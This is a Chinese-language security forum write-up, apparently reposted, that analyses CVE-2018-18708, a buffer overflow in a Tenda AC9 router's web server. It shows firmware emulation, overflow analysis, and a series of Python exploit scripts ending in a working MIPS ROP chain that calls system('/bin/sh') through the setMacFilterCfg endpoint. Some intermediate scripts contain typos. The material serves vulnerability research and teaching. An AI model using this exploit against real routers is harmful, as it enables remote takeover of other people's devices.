CVE-2018-18708 TENDA缓冲区溢出漏洞
本文为看雪论坛精华文章
看雪论坛作者ID:The_Itach1
一
漏洞简介
二
仿真模拟
binwalk -Me US_AC9V3.0RTL_V15.03.06.42_multi_TD01.bin
readelf -h ./bin/httpd
同样和之前的tenda路由器设备,都需要patch下,mips的调用函数有点不一样,常规来说是下面这种方式,先la将函数地址给v0,然后给t9,然后在跳转到函数。
la $v0, websGetVar
move $t9, $v0
jalr $t9 ; websGetVar
sudo apt install uml-utilities bridge-utils
sudo brctl addbr br0
sudo brctl addif br0 ens33
sudo ifconfig br0 up
sudo dhclient br0
cp $(which qemu-mipsel-static) .
sudo chroot ./ ./qemu-mipsel-static ./bin/httpd
三
漏洞分析
然后查看下返回的包。
返回了个{"errCode":2},我们到formSetMacFilterCfg函数内部,查看setMacFilterCfg接口对应的处理过程,需要注意的是这些地方。
Var = (const char *)websGetVar(a1, "macFilterType", &unk_52346C);
v2 = set_macfilter_mode(Var);
...
...
reload_macfilter_rules_to_wireless(Var);
现在我们知道了为什么会返回{"errCode":2},所以现在的关键点就在于如何让set_macfilter_mode函数返回0,传给这个函数参数为websGetVar获取到macFilterType的具体值。
所以必须post传参,"macFilterType": "black",或者white。
进入set_macfilter_rules_by_one,实际上这个才是会发生溢出的函数,其v4变量会由于parse_macfilter_rule中的strcpy导致溢出而覆盖返回地址。
进入parse_macfilter_rule函数,分析得知,deviceList第一个字节必须是'\r'。
然后计算一下,偏移大概就是在472或者476的样子,我们编写exp进行测试。
import requests
from pwn import *
url = "http://192.168.112.131/goform/setMacFilterCfg"
cookie = {"Cookie":"password=1111"}
data = {"macFilterType": "black", "deviceList":"\r" + "A" * 472 + "bbbb"}
requests.post(url, cookies=cookie, data=data)
可以看到刚刚好。
四
漏洞利用
寻找libc基址
然后用ida载入libc.so.0,去exports查看对应的函数地址,发现在0x0005F804,当然也可以用readelf -s ./lib/libc.so.0 | grep uClibc_main。
import requests
from pwn import *
url = "http://192.168.112.131/goform/setMacFilterCfg"
cookie = {"Cookie":"password=1111"}
libc_base=0x7f583a08-0x0005F804
system=0x0060320
system_addr=libc_base+system
data = {"macFilterType": "black", "deviceList":b"\r" + b"A" * 472 + p32(system_addr)}
requests.post(url, cookies=cookie, data=data)
可以看到运气较好的是,我们仍然在libc中,但是不知道具体位置,这时候我们可以用ida的字符串搜索功能,去尝试搜索到对应的位置。
成功找到对应偏移位置,0x0006054C,由于关了aslr,所以基址不变,得到libc_base=0x7f58454c - 0x0006054C = 0x7F524000
import requests
from pwn import *
url = "http://192.168.112.131/goform/setMacFilterCfg"
cookie = {"Cookie":"password=1111"}
libc_base=0x7f58454c - 0x0006054
system=0x0060320
system_addr=libc_base+system
data = {"macFilterType": "black", "deviceList":b"\r" + b"A" * 472 + p32(system_addr)}
requests.post(url, cookies=cookie, data=data)
构造rop链
import mipsrop
mipsrop = mipsrop.MIPSROPFinder()
.text:0000DC1C move $a0, $s0
.text:0000DC20 move $t9, $s1
.text:0000DC24 jalr $t9 ; stat64
.text:00060530 lw $ra, 0x18+var_s14($sp)
.text:00060534
.text:00060534 loc_60534: # CODE XREF: sub_603D8+138↑j
.text:00060534 lw $s4, 0x18+var_s10($sp)
.text:00060538 lw $s3, 0x18+var_sC($sp)
.text:0006053C lw $s2, 0x18+var_s8($sp)
.text:00060540 lw $s1, 0x18+var_s4($sp)
.text:00060544 lw $s0, 0x18+var_s0($sp)
.text:00060548 jr $ra
.text:0006054C addiu $sp, 0x30
b"\r" + b"A" * 472 + p32(gadget1)+b"A"*24+p32(binsh_addr)+p32(system_addr)+b"A"*12+p32(gadget2)
这里爆了个访问错误,$v0应该是个地址,但是变成了我们的0x41414141。
snprintf(v5, 0x80u, "macfilter.%s.list%d", a1, a3);
import requests
from pwn import *
url = "http://192.168.112.131/goform/setMacFilterCfg"
cookie = {"Cookie":"password=1111"}
#libc_base=0x7f583a08-0x0005F804
libc_base=0x7f58452c-0x0006052C
lib=0x7F524000
system=0x0060320
binsh=0x0006AE30
gadget1=libc_base+0x00060530
gadget2=libc_base+0x0000DC1C
system_addr=libc_base+system
binsh_addr=libc_base+binsh
data = {"macFilterType": "black", "deviceList":b"\r" + b"A" * 472 + p32(gadget1)b"bbbb"+b"A"*20+p32(binsh_addr)+p32(system_addr)+b"A"*12+p32(gadget2)}
requests.post(url, cookies=cookie, data=data)
而恰好,set_macfilter_rules_by_one在执行完parse_macfilter_rule函数,发生了溢出后,后面的snprintf函数调用了a1,也就是第一个参数,且a1是一个地址,但是按照我们playload覆盖后a1将变为一个值,所以会照成访问异常。
最终exp以及调试
import requests
from pwn import *
url = "http://192.168.112.131/goform/setMacFilterCfg"
cookie = {"Cookie":"password=1111"}
#libc_base=0x7f583a08-0x0005F804
libc_base=0x7f58452c-0x0006052C
lib=0x7F524000
system=0x0060320
binsh=0x0006AE30
gadget1=libc_base+0x00060530
gadget2=libc_base+0x0000DC1C
system_addr=libc_base+system
binsh_addr=libc_base+binsh
data = {"macFilterType": "black", "deviceList":b"\r" + b"A" * 472 + p32(gadget1)+p32(0x7FFFF090)+b"A"*20+p32(binsh_addr)+p32(system_addr)+b"A"*12+p32(gadget2)}
requests.post(url, cookies=cookie, data=data)
gadget2
getshell
五
总结
参考
看雪ID:The_Itach1
https://bbs.pediy.com/user-home-926755.htm
# 往期推荐
球分享
球点赞
球在看
点击“阅读原文”,了解更多!
[广告]赞助链接:
关注数据与安全,洞悉企业级服务市场:https://www.ijiandao.com/
让资讯触达的更精准有趣:https://www.0xu.cn/
关注KnowSafe微信公众号
随时掌握互联网精彩
随时掌握互联网精彩
- Windows驱动曝出严重漏洞 影响所有Win10/11系统!
- OpenAlternative 发现流行软件的开源替代品
- Windows 开发不完全指南:程序开发与逆向分析相辅相成
- 从 B 站出发,用 Chrome devTools performance 分析页面如何渲染
- 如何加入看雪课程讲师队伍?
- 眼力大比拼,大家一起挑战找骁龙!
- 世界上第一个街机游戏;武汉大学建校;真空管的发明者诞生| 历史上的今天
- 在Z|雾帜智能(20K/月)诚招网络安全、安全开发、安全运维开发等工程师
- 第七届“互联网+”大赛圆满落幕,华为助力院校团队斩获产业命题赛道金奖
- 写给 3 年内程序开发者的一封信
- 产业互联网时代的安全「新解」:从群雄割据到安全普惠
- SSL证书直接在国外网站购买比较好?国内外购买的区别是什么?
赞助链接